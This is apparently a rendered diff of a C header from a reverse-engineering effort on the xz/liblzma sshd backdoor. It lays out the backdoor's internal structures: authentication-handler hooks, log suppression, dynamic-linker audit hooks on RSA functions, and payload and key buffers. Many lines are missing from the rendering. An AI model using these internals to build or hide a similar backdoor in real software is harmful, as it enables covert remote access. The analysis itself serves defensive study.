1122  BOOL have_mm_answer_authpassword;
-
1123  BOOL have_mm_answer_keyverify;
-
1124  PADDING(0x4);
-
1125  sshd_monitor_func_t mm_answer_authpassword_hook;
-
1126  void *mm_answer_keyallowed;
-
1127  void *mm_answer_keyverify;
-
1128  void *mm_answer_authpassword_start;
-
1129  void *mm_answer_authpassword_end;
-
1130  sshd_monitor_func_t *mm_answer_authpassword_ptr;
-
1131  int monitor_reqtype_authpassword;
-
1132  PADDING(4);
-
1133  void *mm_answer_keyallowed_start;
-
1134  void *mm_answer_keyallowed_end;
-
1135  void *mm_answer_keyallowed_ptr;
-
1136  u32 mm_answer_keyallowed_reqtype;
+
1120 struct ssh;
+
1121 struct sshbuf;
+
1122 
+
1123 typedef int (*sshd_monitor_func_t)(struct ssh *ssh, int sock, struct sshbuf *m);
+
1124 
+
1125 typedef struct __attribute__((packed)) sshd_ctx {
+
1126  BOOL have_mm_answer_keyallowed;
+
1127  BOOL have_mm_answer_authpassword;
+
1128  BOOL have_mm_answer_keyverify;
+
1129  PADDING(0x4);
+
1130  sshd_monitor_func_t mm_answer_authpassword_hook;
+
1131  void *mm_answer_keyallowed;
+
1132  void *mm_answer_keyverify;
+
1133  void *mm_answer_authpassword_start;
+
1134  void *mm_answer_authpassword_end;
+
1135  sshd_monitor_func_t *mm_answer_authpassword_ptr;
+
1136  int monitor_reqtype_authpassword;
1137  PADDING(4);
-
1138  void *mm_answer_keyverify_start;
-
1139  void *mm_answer_keyverify_end;
-
1140  void *mm_answer_keyverify_ptr;
-
1141  PADDING(0x4);
-
1142  u16 writebuf_size;
-
1143  PADDING(0x2);
-
1144  u8 *writebuf;
-
1145  PADDING(0x8);
-
1146  PADDING(0x8);
-
1147  char *STR_unknown_ptr;
-
1148  void *mm_request_send_start;
-
1149  void *mm_request_send_end;
-
1150  PADDING(sizeof(u32)); // BOOL?
-
1151  PADDING(sizeof(u32)); // BOOL?
-
1152  int *use_pam_ptr;
-
1153  int *permit_root_login_ptr;
-
1154  char *STR_without_password;
-
1155  char *STR_publickey;
-
1156 } sshd_ctx_t;
-
1157 
-
1158 assert_offset(sshd_ctx_t, have_mm_answer_keyallowed, 0x0);
-
1159 assert_offset(sshd_ctx_t, have_mm_answer_authpassword, 0x4);
-
1160 assert_offset(sshd_ctx_t, have_mm_answer_keyverify, 0x8);
-
1161 assert_offset(sshd_ctx_t, mm_answer_authpassword_hook, 0x10);
-
1162 assert_offset(sshd_ctx_t, mm_answer_keyallowed, 0x18);
-
1163 assert_offset(sshd_ctx_t, mm_answer_keyverify, 0x20);
-
1164 assert_offset(sshd_ctx_t, mm_answer_authpassword_start, 0x28);
-
1165 assert_offset(sshd_ctx_t, mm_answer_authpassword_end, 0x30);
-
1166 assert_offset(sshd_ctx_t, mm_answer_authpassword_ptr, 0x38);
-
1167 assert_offset(sshd_ctx_t, monitor_reqtype_authpassword, 0x40);
-
1168 assert_offset(sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
-
1169 assert_offset(sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
-
1170 assert_offset(sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58);
-
1171 assert_offset(sshd_ctx_t, mm_answer_keyallowed_reqtype, 0x60);
-
1172 assert_offset(sshd_ctx_t, mm_answer_keyverify_start, 0x68);
-
1173 assert_offset(sshd_ctx_t, mm_answer_keyverify_end, 0x70);
-
1174 assert_offset(sshd_ctx_t, mm_answer_keyverify_ptr, 0x78);
-
1175 assert_offset(sshd_ctx_t, writebuf_size, 0x84);
-
1176 assert_offset(sshd_ctx_t, writebuf, 0x88);
-
1177 assert_offset(sshd_ctx_t, STR_unknown_ptr, 0xA0);
-
1178 assert_offset(sshd_ctx_t, mm_request_send_start, 0xA8);
-
1179 assert_offset(sshd_ctx_t, mm_request_send_end, 0xB0);
-
1180 assert_offset(sshd_ctx_t, use_pam_ptr, 0xC0);
-
1181 assert_offset(sshd_ctx_t, permit_root_login_ptr, 0xC8);
-
1182 assert_offset(sshd_ctx_t, STR_without_password, 0xD0);
-
1183 assert_offset(sshd_ctx_t, STR_publickey, 0xD8);
-
1184 
-
1185 typedef enum {
-
1186  SYSLOG_LEVEL_QUIET,
-
1187  SYSLOG_LEVEL_FATAL,
-
1188  SYSLOG_LEVEL_ERROR,
-
1189  SYSLOG_LEVEL_INFO,
-
1190  SYSLOG_LEVEL_VERBOSE,
-
1191  SYSLOG_LEVEL_DEBUG1,
-
1192  SYSLOG_LEVEL_DEBUG2,
-
1193  SYSLOG_LEVEL_DEBUG3,
-
1194  SYSLOG_LEVEL_NOT_SET = -1
-
1195 } LogLevel;
-
1196 
-
1197 typedef void (*log_handler_fn)(
-
1198  LogLevel level,
-
1199  int forced,
-
1200  const char *msg,
-
1201  void *ctx);
-
1202 
-
1203 typedef struct __attribute__((packed)) sshd_log_ctx {
-
1204  BOOL logging_disabled;
-
1205  BOOL log_hooking_possible;
-
1206  BOOL syslog_disabled;
-
1207  PADDING(4);
-
1208  char *STR_percent_s;
-
1209  char *STR_Connection_closed_by;
-
1210  char *STR_preauth;
-
1211  char *STR_authenticating;
-
1212  char *STR_user;
-
1213  // Note: initially the two pointers may be swapped around.
-
1214  // sshd_configure_log_hook will ensure they're corrected if needed.
-
1215  void *log_handler_ptr;
-
1216  void *log_handler_ctx_ptr;
-
1217  log_handler_fn orig_log_handler;
-
1218  void *orig_log_handler_ctx;
-
1219  void *sshlogv;
-
1220  void (*mm_log_handler)(int level, int forced, const char *msg, void *ctx);
-
1221 } sshd_log_ctx_t;
-
1222 
-
1223 assert_offset(sshd_log_ctx_t, logging_disabled, 0x0);
-
1224 assert_offset(sshd_log_ctx_t, log_hooking_possible, 0x4);
-
1225 assert_offset(sshd_log_ctx_t, syslog_disabled, 0x8);
-
1226 assert_offset(sshd_log_ctx_t, syslog_disabled, 0x8);
-
1227 assert_offset(sshd_log_ctx_t, STR_percent_s, 0x10);
-
1228 assert_offset(sshd_log_ctx_t, STR_Connection_closed_by, 0x18);
-
1229 assert_offset(sshd_log_ctx_t, STR_preauth, 0x20);
-
1230 assert_offset(sshd_log_ctx_t, STR_authenticating, 0x28);
-
1231 assert_offset(sshd_log_ctx_t, STR_user, 0x30);
-
1232 assert_offset(sshd_log_ctx_t, log_handler_ptr, 0x38);
-
1233 assert_offset(sshd_log_ctx_t, log_handler_ctx_ptr, 0x40);
-
1234 assert_offset(sshd_log_ctx_t, orig_log_handler, 0x48);
-
1235 assert_offset(sshd_log_ctx_t, orig_log_handler_ctx, 0x50);
-
1236 assert_offset(sshd_log_ctx_t, sshlogv, 0x58);
-
1237 assert_offset(sshd_log_ctx_t, mm_log_handler, 0x60);
-
1238 static_assert(sizeof(sshd_log_ctx_t) == 0x68);
-
1239 
-
1240 typedef union __attribute__((packed)) sshd_offsets_kex {
-
1241  struct __attribute__((packed)) {
-
1242  u8 kex_qword_index;
-
1243  u8 pkex_offset;
-
1244  };
-
1245  u16 value;
- -
1247 
-
1248 typedef union __attribute__((packed)) sshd_offsets_sshbuf {
-
1249  struct __attribute__((packed)) {
-
1250  u8 sshbuf_data_qword_index;
-
1251  u8 sshbuf_size_qword_index;
-
1252  };
-
1253  u16 value;
- -
1255 
-
1256 typedef struct __attribute__((packed)) sshd_offsets_fields {
-
1257  sshd_offsets_kex_t kex;
-
1258  sshd_offsets_sshbuf_t sshbuf;
- +
1138  void *mm_answer_keyallowed_start;
+
1139  void *mm_answer_keyallowed_end;
+
1140  void *mm_answer_keyallowed_ptr;
+
1141  u32 mm_answer_keyallowed_reqtype;
+
1142  PADDING(4);
+
1143  void *mm_answer_keyverify_start;
+
1144  void *mm_answer_keyverify_end;
+
1145  void *mm_answer_keyverify_ptr;
+
1146  PADDING(0x4);
+
1147  u16 writebuf_size;
+
1148  PADDING(0x2);
+
1149  u8 *writebuf;
+
1150  PADDING(0x8);
+
1151  PADDING(0x8);
+
1152  char *STR_unknown_ptr;
+
1153  void *mm_request_send_start;
+
1154  void *mm_request_send_end;
+
1155  PADDING(sizeof(u32)); // BOOL?
+
1156  PADDING(sizeof(u32)); // BOOL?
+
1157  int *use_pam_ptr;
+
1158  int *permit_root_login_ptr;
+
1159  char *STR_without_password;
+
1160  char *STR_publickey;
+
1161 } sshd_ctx_t;
+
1162 
+
1163 assert_offset(sshd_ctx_t, have_mm_answer_keyallowed, 0x0);
+
1164 assert_offset(sshd_ctx_t, have_mm_answer_authpassword, 0x4);
+
1165 assert_offset(sshd_ctx_t, have_mm_answer_keyverify, 0x8);
+
1166 assert_offset(sshd_ctx_t, mm_answer_authpassword_hook, 0x10);
+
1167 assert_offset(sshd_ctx_t, mm_answer_keyallowed, 0x18);
+
1168 assert_offset(sshd_ctx_t, mm_answer_keyverify, 0x20);
+
1169 assert_offset(sshd_ctx_t, mm_answer_authpassword_start, 0x28);
+
1170 assert_offset(sshd_ctx_t, mm_answer_authpassword_end, 0x30);
+
1171 assert_offset(sshd_ctx_t, mm_answer_authpassword_ptr, 0x38);
+
1172 assert_offset(sshd_ctx_t, monitor_reqtype_authpassword, 0x40);
+
1173 assert_offset(sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
+
1174 assert_offset(sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
+
1175 assert_offset(sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58);
+
1176 assert_offset(sshd_ctx_t, mm_answer_keyallowed_reqtype, 0x60);
+
1177 assert_offset(sshd_ctx_t, mm_answer_keyverify_start, 0x68);
+
1178 assert_offset(sshd_ctx_t, mm_answer_keyverify_end, 0x70);
+
1179 assert_offset(sshd_ctx_t, mm_answer_keyverify_ptr, 0x78);
+
1180 assert_offset(sshd_ctx_t, writebuf_size, 0x84);
+
1181 assert_offset(sshd_ctx_t, writebuf, 0x88);
+
1182 assert_offset(sshd_ctx_t, STR_unknown_ptr, 0xA0);
+
1183 assert_offset(sshd_ctx_t, mm_request_send_start, 0xA8);
+
1184 assert_offset(sshd_ctx_t, mm_request_send_end, 0xB0);
+
1185 assert_offset(sshd_ctx_t, use_pam_ptr, 0xC0);
+
1186 assert_offset(sshd_ctx_t, permit_root_login_ptr, 0xC8);
+
1187 assert_offset(sshd_ctx_t, STR_without_password, 0xD0);
+
1188 assert_offset(sshd_ctx_t, STR_publickey, 0xD8);
+
1189 
+
1190 typedef enum {
+
1191  SYSLOG_LEVEL_QUIET,
+
1192  SYSLOG_LEVEL_FATAL,
+
1193  SYSLOG_LEVEL_ERROR,
+
1194  SYSLOG_LEVEL_INFO,
+
1195  SYSLOG_LEVEL_VERBOSE,
+
1196  SYSLOG_LEVEL_DEBUG1,
+
1197  SYSLOG_LEVEL_DEBUG2,
+
1198  SYSLOG_LEVEL_DEBUG3,
+
1199  SYSLOG_LEVEL_NOT_SET = -1
+
1200 } LogLevel;
+
1201 
+
1202 typedef void (*log_handler_fn)(
+
1203  LogLevel level,
+
1204  int forced,
+
1205  const char *msg,
+
1206  void *ctx);
+
1207 
+
1208 typedef struct __attribute__((packed)) sshd_log_ctx {
+
1209  BOOL logging_disabled;
+
1210  BOOL log_hooking_possible;
+
1211  BOOL syslog_disabled;
+
1212  PADDING(4);
+
1213  char *STR_percent_s;
+
1214  char *STR_Connection_closed_by;
+
1215  char *STR_preauth;
+
1216  char *STR_authenticating;
+
1217  char *STR_user;
+
1218  // Note: initially the two pointers may be swapped around.
+
1219  // sshd_configure_log_hook will ensure they're corrected if needed.
+
1220  void *log_handler_ptr;
+
1221  void *log_handler_ctx_ptr;
+
1222  log_handler_fn orig_log_handler;
+
1223  void *orig_log_handler_ctx;
+
1224  void *sshlogv;
+
1225  void (*mm_log_handler)(int level, int forced, const char *msg, void *ctx);
+
1226 } sshd_log_ctx_t;
+
1227 
+
1228 assert_offset(sshd_log_ctx_t, logging_disabled, 0x0);
+
1229 assert_offset(sshd_log_ctx_t, log_hooking_possible, 0x4);
+
1230 assert_offset(sshd_log_ctx_t, syslog_disabled, 0x8);
+
1231 assert_offset(sshd_log_ctx_t, syslog_disabled, 0x8);
+
1232 assert_offset(sshd_log_ctx_t, STR_percent_s, 0x10);
+
1233 assert_offset(sshd_log_ctx_t, STR_Connection_closed_by, 0x18);
+
1234 assert_offset(sshd_log_ctx_t, STR_preauth, 0x20);
+
1235 assert_offset(sshd_log_ctx_t, STR_authenticating, 0x28);
+
1236 assert_offset(sshd_log_ctx_t, STR_user, 0x30);
+
1237 assert_offset(sshd_log_ctx_t, log_handler_ptr, 0x38);
+
1238 assert_offset(sshd_log_ctx_t, log_handler_ctx_ptr, 0x40);
+
1239 assert_offset(sshd_log_ctx_t, orig_log_handler, 0x48);
+
1240 assert_offset(sshd_log_ctx_t, orig_log_handler_ctx, 0x50);
+
1241 assert_offset(sshd_log_ctx_t, sshlogv, 0x58);
+
1242 assert_offset(sshd_log_ctx_t, mm_log_handler, 0x60);
+
1243 static_assert(sizeof(sshd_log_ctx_t) == 0x68);
+
1244 
+
1245 typedef union __attribute__((packed)) sshd_offsets_kex {
+
1246  struct __attribute__((packed)) {
+
1247  u8 kex_qword_index;
+
1248  u8 pkex_offset;
+
1249  };
+
1250  u16 value;
+ +
1252 
+
1253 typedef union __attribute__((packed)) sshd_offsets_sshbuf {
+
1254  struct __attribute__((packed)) {
+
1255  u8 sshbuf_data_qword_index;
+
1256  u8 sshbuf_size_qword_index;
+
1257  };
+
1258  u16 value;
+
1260 
-
1261 typedef struct __attribute__((packed)) sshd_offsets {
-
1262  union {
-
1263  struct {
-
1264  union {
-
1265  sshd_offsets_fields_t fields;
-
1266  u32 value;
-
1267  };
-
1268  };
-
1269  u32 raw_value;
-
1270  };
-
1271 } sshd_offsets_t;
-
1272 
-
1273 typedef struct __attribute__((packed)) sshd_payload_ctx {
- -
1275 
-
1276 typedef struct __attribute__((packed)) global_context {
-
1277  BOOL uses_endbr64;
-
1278  PADDING(4);
- - - -
1297  PADDING(4);
- -
1299  struct sensitive_data *sshd_sensitive_data;
- - - -
1309  struct monitor **struct_monitor_ptr_address;
-
1310  u32 exit_flag;
- -
1312 
- - - - -
1329  void *sshd_main;
- - -
1344  u32 uid;
-
1345  PADDING(4);
-
1346  u64 sock_read_buf_size;
-
1347  u8 sock_read_buf[64];
-
1348  u64 payload_data_size;
-
1349  u64 digest_offset;
-
1350  // signed data (size payload_data_size)
-
1351  u8 *payload_data;
- -
1353  u32 sshd_host_pubkey_idx;
-
1354  u32 payload_state;
-
1358  u8 secret_data[ED448_KEY_SIZE];
-
1364  u8 shift_operations[31];
- -
1369  PADDING(4);
- -
1371 
-
1372 assert_offset(global_context_t, uses_endbr64, 0x0);
-
1373 assert_offset(global_context_t, imported_funcs, 0x8);
-
1374 assert_offset(global_context_t, libc_imports, 0x10);
-
1375 assert_offset(global_context_t, disable_backdoor, 0x18);
-
1376 assert_offset(global_context_t, sshd_ctx, 0x20);
-
1377 assert_offset(global_context_t, sshd_sensitive_data, 0x28);
-
1378 assert_offset(global_context_t, sshd_log_ctx, 0x30);
-
1379 assert_offset(global_context_t, STR_ssh_rsa_cert_v01_openssh_com, 0x38);
-
1380 assert_offset(global_context_t, STR_rsa_sha2_256, 0x40);
-
1381 assert_offset(global_context_t, struct_monitor_ptr_address, 0x48);
-
1382 assert_offset(global_context_t, exit_flag, 0x50);
-
1383 assert_offset(global_context_t, sshd_offsets, 0x54);
-
1384 assert_offset(global_context_t, sshd_code_start, 0x58);
-
1385 assert_offset(global_context_t, sshd_code_end, 0x60);
-
1386 assert_offset(global_context_t, sshd_data_start, 0x68);
-
1387 assert_offset(global_context_t, sshd_data_end, 0x70);
-
1388 assert_offset(global_context_t, lzma_code_start, 0x80);
-
1389 assert_offset(global_context_t, lzma_code_end, 0x88);
-
1390 assert_offset(global_context_t, uid, 0x90);
-
1391 assert_offset(global_context_t, sock_read_buf_size, 0x98);
-
1392 assert_offset(global_context_t, sock_read_buf, 0xA0);
-
1393 assert_offset(global_context_t, payload_data_size, 0xE0);
-
1394 assert_offset(global_context_t, digest_offset, 0xE8);
-
1395 assert_offset(global_context_t, payload_data, 0xF0);
-
1396 assert_offset(global_context_t, sshd_payload_ctx, 0xF8);
-
1397 assert_offset(global_context_t, sshd_host_pubkey_idx, 0x100);
-
1398 assert_offset(global_context_t, payload_state, 0x104);
-
1399 assert_offset(global_context_t, secret_data, 0x108);
-
1400 assert_offset(global_context_t, shift_operations, 0x141);
-
1401 assert_offset(global_context_t, num_shifted_bits, 0x160);
-
1402 static_assert(sizeof(global_context_t) == 0x168);
-
1403 
-
1404 typedef struct __attribute__((packed)) backdoor_shared_globals {
-
1405  sshd_monitor_func_t mm_answer_authpassword_hook;
-
1409  pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
-
1410  global_context_t **globals;
- -
1412 
- -
1414 assert_offset(backdoor_shared_globals_t, hook_EVP_PKEY_set1_RSA, 0x8);
-
1415 assert_offset(backdoor_shared_globals_t, globals, 0x10);
-
1416 static_assert(sizeof(backdoor_shared_globals_t) == 0x18);
+
1261 typedef struct __attribute__((packed)) sshd_offsets_fields {
+
1262  sshd_offsets_kex_t kex;
+
1263  sshd_offsets_sshbuf_t sshbuf;
+ +
1265 
+
1266 typedef struct __attribute__((packed)) sshd_offsets {
+
1267  union {
+
1268  struct {
+
1269  union {
+
1270  sshd_offsets_fields_t fields;
+
1271  u32 value;
+
1272  };
+
1273  };
+
1274  u32 raw_value;
+
1275  };
+
1276 } sshd_offsets_t;
+
1277 
+
1278 typedef struct __attribute__((packed)) sshd_payload_ctx {
+ +
1280 
+
1281 typedef struct __attribute__((packed)) global_context {
+
1282  BOOL uses_endbr64;
+
1283  PADDING(4);
+ + + +
1302  PADDING(4);
+ +
1304  struct sensitive_data *sshd_sensitive_data;
+ + + +
1314  struct monitor **struct_monitor_ptr_address;
+
1315  u32 exit_flag;
+ +
1317 
+ + + + +
1334  void *sshd_main;
+ + +
1349  u32 uid;
+
1350  PADDING(4);
+
1351  u64 sock_read_buf_size;
+
1352  u8 sock_read_buf[64];
+
1353  u64 payload_data_size;
+
1354  u64 digest_offset;
+
1355  // signed data (size payload_data_size)
+
1356  u8 *payload_data;
+ +
1358  u32 sshd_host_pubkey_idx;
+
1359  u32 payload_state;
+
1363  u8 secret_data[ED448_KEY_SIZE];
+
1369  u8 shift_operations[31];
+ +
1374  PADDING(4);
+ +
1376 
+
1377 assert_offset(global_context_t, uses_endbr64, 0x0);
+
1378 assert_offset(global_context_t, imported_funcs, 0x8);
+
1379 assert_offset(global_context_t, libc_imports, 0x10);
+
1380 assert_offset(global_context_t, disable_backdoor, 0x18);
+
1381 assert_offset(global_context_t, sshd_ctx, 0x20);
+
1382 assert_offset(global_context_t, sshd_sensitive_data, 0x28);
+
1383 assert_offset(global_context_t, sshd_log_ctx, 0x30);
+
1384 assert_offset(global_context_t, STR_ssh_rsa_cert_v01_openssh_com, 0x38);
+
1385 assert_offset(global_context_t, STR_rsa_sha2_256, 0x40);
+
1386 assert_offset(global_context_t, struct_monitor_ptr_address, 0x48);
+
1387 assert_offset(global_context_t, exit_flag, 0x50);
+
1388 assert_offset(global_context_t, sshd_offsets, 0x54);
+
1389 assert_offset(global_context_t, sshd_code_start, 0x58);
+
1390 assert_offset(global_context_t, sshd_code_end, 0x60);
+
1391 assert_offset(global_context_t, sshd_data_start, 0x68);
+
1392 assert_offset(global_context_t, sshd_data_end, 0x70);
+
1393 assert_offset(global_context_t, lzma_code_start, 0x80);
+
1394 assert_offset(global_context_t, lzma_code_end, 0x88);
+
1395 assert_offset(global_context_t, uid, 0x90);
+
1396 assert_offset(global_context_t, sock_read_buf_size, 0x98);
+
1397 assert_offset(global_context_t, sock_read_buf, 0xA0);
+
1398 assert_offset(global_context_t, payload_data_size, 0xE0);
+
1399 assert_offset(global_context_t, digest_offset, 0xE8);
+
1400 assert_offset(global_context_t, payload_data, 0xF0);
+
1401 assert_offset(global_context_t, sshd_payload_ctx, 0xF8);
+
1402 assert_offset(global_context_t, sshd_host_pubkey_idx, 0x100);
+
1403 assert_offset(global_context_t, payload_state, 0x104);
+
1404 assert_offset(global_context_t, secret_data, 0x108);
+
1405 assert_offset(global_context_t, shift_operations, 0x141);
+
1406 assert_offset(global_context_t, num_shifted_bits, 0x160);
+
1407 static_assert(sizeof(global_context_t) == 0x168);
+
1408 
+
1409 typedef struct __attribute__((packed)) backdoor_shared_globals {
+
1410  sshd_monitor_func_t mm_answer_authpassword_hook;
+
1414  pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
+
1415  global_context_t **globals;
+
1417 
-
1418 typedef struct __attribute__((packed)) ldso_ctx {
-
1419  PADDING(0x40);
- - -
1436  PADDING(0x4);
- - -
1453  PADDING(0x4);
- - -
1470  PADDING(0x7);
- -
1488  unsigned int *_dl_naudit_ptr;
-
1497  struct audit_ifaces hooked_audit_ifaces;
-
1498  PADDING(0x30);
- -
1512  void (*_dl_audit_symbind_alt)(struct link_map *l, const ElfW(Sym) *ref, void **value, lookup_t result);
- -
1522  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
-
1528  pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
-
1533  pfn_RSA_get0_key_t hook_RSA_get0_key;
- -
1535  u64 hooks_installed;
-
1536 } ldso_ctx_t;
-
1537 
-
1538 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
-
1539 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
-
1540 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
-
1541 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
-
1542 assert_offset(ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
-
1543 assert_offset(ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
-
1544 assert_offset(ldso_ctx_t, _dl_audit_ptr, 0x70);
-
1545 assert_offset(ldso_ctx_t, _dl_naudit_ptr, 0x78);
-
1546 assert_offset(ldso_ctx_t, hooked_audit_ifaces, 0x80);
-
1547 static_assert(sizeof(struct audit_ifaces) == 0x48);
-
1548 assert_offset(ldso_ctx_t, libcrypto_l_name, 0xF8);
-
1549 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
-
1550 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
-
1551 assert_offset(ldso_ctx_t, hook_RSA_public_decrypt, 0x110);
-
1552 assert_offset(ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
-
1553 assert_offset(ldso_ctx_t, hook_RSA_get0_key, 0x120);
-
1554 assert_offset(ldso_ctx_t, imported_funcs, 0x128);
-
1555 assert_offset(ldso_ctx_t, hooks_installed, 0x130);
-
1556 static_assert(sizeof(ldso_ctx_t) == 0x138);
-
1557 
-
1558 
-
1559 typedef struct __attribute__((packed)) backdoor_hooks_data {
- -
1561  global_context_t global_ctx;
- - - - -
1566  u64 signed_data_size;
-
1567  u8 signed_data;
- -
1569 
-
1570 assert_offset(backdoor_hooks_data_t, ldso_ctx, 0);
-
1571 assert_offset(backdoor_hooks_data_t, global_ctx, 0x138);
-
1572 assert_offset(backdoor_hooks_data_t, imported_funcs, 0x2A0);
-
1573 assert_offset(backdoor_hooks_data_t, sshd_ctx, 0x3C8);
-
1574 assert_offset(backdoor_hooks_data_t, libc_imports, 0x4A8);
-
1575 assert_offset(backdoor_hooks_data_t, sshd_log_ctx, 0x518);
-
1576 assert_offset(backdoor_hooks_data_t, signed_data_size, 0x580);
-
1577 assert_offset(backdoor_hooks_data_t, signed_data, 0x588);
-
1578 static_assert(sizeof(backdoor_hooks_data_t) >= 0x589);
-
1579 
-
1580 typedef struct __attribute__((packed)) backdoor_hooks_ctx {
-
1581  PADDING(0x30);
-
1582  backdoor_shared_globals_t *shared;
- -
1584  uintptr_t (*symbind64)(
-
1585  Elf64_Sym *sym, unsigned int ndx,
-
1586  uptr *refcook, uptr *defcook,
-
1587  unsigned int flags, const char *symname);
-
1588  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
-
1589  pfn_RSA_get0_key_t hook_RSA_get0_key;
-
1590  log_handler_fn mm_log_handler;
-
1591  PADDING(sizeof(void *));
-
1592  PADDING(sizeof(void *));
-
1593  sshd_monitor_func_t mm_answer_keyallowed;
-
1594  sshd_monitor_func_t mm_answer_keyverify;
-
1595  PADDING(sizeof(void *));
- -
1597 
-
1598 assert_offset(backdoor_hooks_ctx_t, shared, 0x30);
-
1599 assert_offset(backdoor_hooks_ctx_t, hooks_data_addr, 0x38);
-
1600 assert_offset(backdoor_hooks_ctx_t, symbind64, 0x40);
-
1601 assert_offset(backdoor_hooks_ctx_t, hook_RSA_public_decrypt, 0x48);
-
1602 assert_offset(backdoor_hooks_ctx_t, hook_RSA_get0_key, 0x50);
-
1603 assert_offset(backdoor_hooks_ctx_t, mm_log_handler, 0x58);
-
1604 assert_offset(backdoor_hooks_ctx_t, mm_answer_keyallowed, 0x70);
-
1605 assert_offset(backdoor_hooks_ctx_t, mm_answer_keyverify, 0x78);
-
1606 static_assert(sizeof(backdoor_hooks_ctx_t) == 0x88);
-
1607 
-
1608 typedef struct __attribute__((packed)) backdoor_setup_params {
-
1609  PADDING(0x8);
-
1610  backdoor_shared_globals_t *shared;
-
1611  backdoor_hooks_ctx_t *hook_params;
-
1612  lzma_check_state dummy_check_state;
-
1613  elf_entry_ctx_t *entry_ctx;
- -
1615 
-
1616 assert_offset(backdoor_setup_params_t, shared, 0x8);
-
1617 assert_offset(backdoor_setup_params_t, hook_params, 0x10);
-
1618 assert_offset(backdoor_setup_params_t, entry_ctx, 0x80);
-
1619 static_assert(sizeof(backdoor_setup_params_t) == 0x88);
+ +
1419 assert_offset(backdoor_shared_globals_t, hook_EVP_PKEY_set1_RSA, 0x8);
+
1420 assert_offset(backdoor_shared_globals_t, globals, 0x10);
+
1421 static_assert(sizeof(backdoor_shared_globals_t) == 0x18);
+
1422 
+
1423 typedef struct __attribute__((packed)) ldso_ctx {
+
1424  PADDING(0x40);
+ + +
1441  PADDING(0x4);
+ + +
1458  PADDING(0x4);
+ + +
1475  PADDING(0x7);
+ +
1493  unsigned int *_dl_naudit_ptr;
+
1502  struct audit_ifaces hooked_audit_ifaces;
+
1503  PADDING(0x30);
+ +
1517  void (*_dl_audit_symbind_alt)(struct link_map *l, const ElfW(Sym) *ref, void **value, lookup_t result);
+ +
1527  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
+
1533  pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
+
1538  pfn_RSA_get0_key_t hook_RSA_get0_key;
+ +
1540  u64 hooks_installed;
+
1541 } ldso_ctx_t;
+
1542 
+
1543 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
+
1544 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
+
1545 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
+
1546 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
+
1547 assert_offset(ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
+
1548 assert_offset(ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
+
1549 assert_offset(ldso_ctx_t, _dl_audit_ptr, 0x70);
+
1550 assert_offset(ldso_ctx_t, _dl_naudit_ptr, 0x78);
+
1551 assert_offset(ldso_ctx_t, hooked_audit_ifaces, 0x80);
+
1552 static_assert(sizeof(struct audit_ifaces) == 0x48);
+
1553 assert_offset(ldso_ctx_t, libcrypto_l_name, 0xF8);
+
1554 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
+
1555 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
+
1556 assert_offset(ldso_ctx_t, hook_RSA_public_decrypt, 0x110);
+
1557 assert_offset(ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
+
1558 assert_offset(ldso_ctx_t, hook_RSA_get0_key, 0x120);
+
1559 assert_offset(ldso_ctx_t, imported_funcs, 0x128);
+
1560 assert_offset(ldso_ctx_t, hooks_installed, 0x130);
+
1561 static_assert(sizeof(ldso_ctx_t) == 0x138);
+
1562 
+
1563 
+
1564 typedef struct __attribute__((packed)) backdoor_hooks_data {
+ +
1566  global_context_t global_ctx;
+ + + + +
1571  u64 signed_data_size;
+
1572  u8 signed_data;
+ +
1574 
+
1575 assert_offset(backdoor_hooks_data_t, ldso_ctx, 0);
+
1576 assert_offset(backdoor_hooks_data_t, global_ctx, 0x138);
+
1577 assert_offset(backdoor_hooks_data_t, imported_funcs, 0x2A0);
+
1578 assert_offset(backdoor_hooks_data_t, sshd_ctx, 0x3C8);
+
1579 assert_offset(backdoor_hooks_data_t, libc_imports, 0x4A8);
+
1580 assert_offset(backdoor_hooks_data_t, sshd_log_ctx, 0x518);
+
1581 assert_offset(backdoor_hooks_data_t, signed_data_size, 0x580);
+
1582 assert_offset(backdoor_hooks_data_t, signed_data, 0x588);
+
1583 static_assert(sizeof(backdoor_hooks_data_t) >= 0x589);
+
1584 
+
1585 typedef struct __attribute__((packed)) backdoor_hooks_ctx {
+
1586  PADDING(0x30);
+
1587  backdoor_shared_globals_t *shared;
+ +
1589  uintptr_t (*symbind64)(
+
1590  Elf64_Sym *sym, unsigned int ndx,
+
1591  uptr *refcook, uptr *defcook,
+
1592  unsigned int flags, const char *symname);
+
1593  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
+
1594  pfn_RSA_get0_key_t hook_RSA_get0_key;
+
1595  log_handler_fn mm_log_handler;
+
1596  PADDING(sizeof(void *));
+
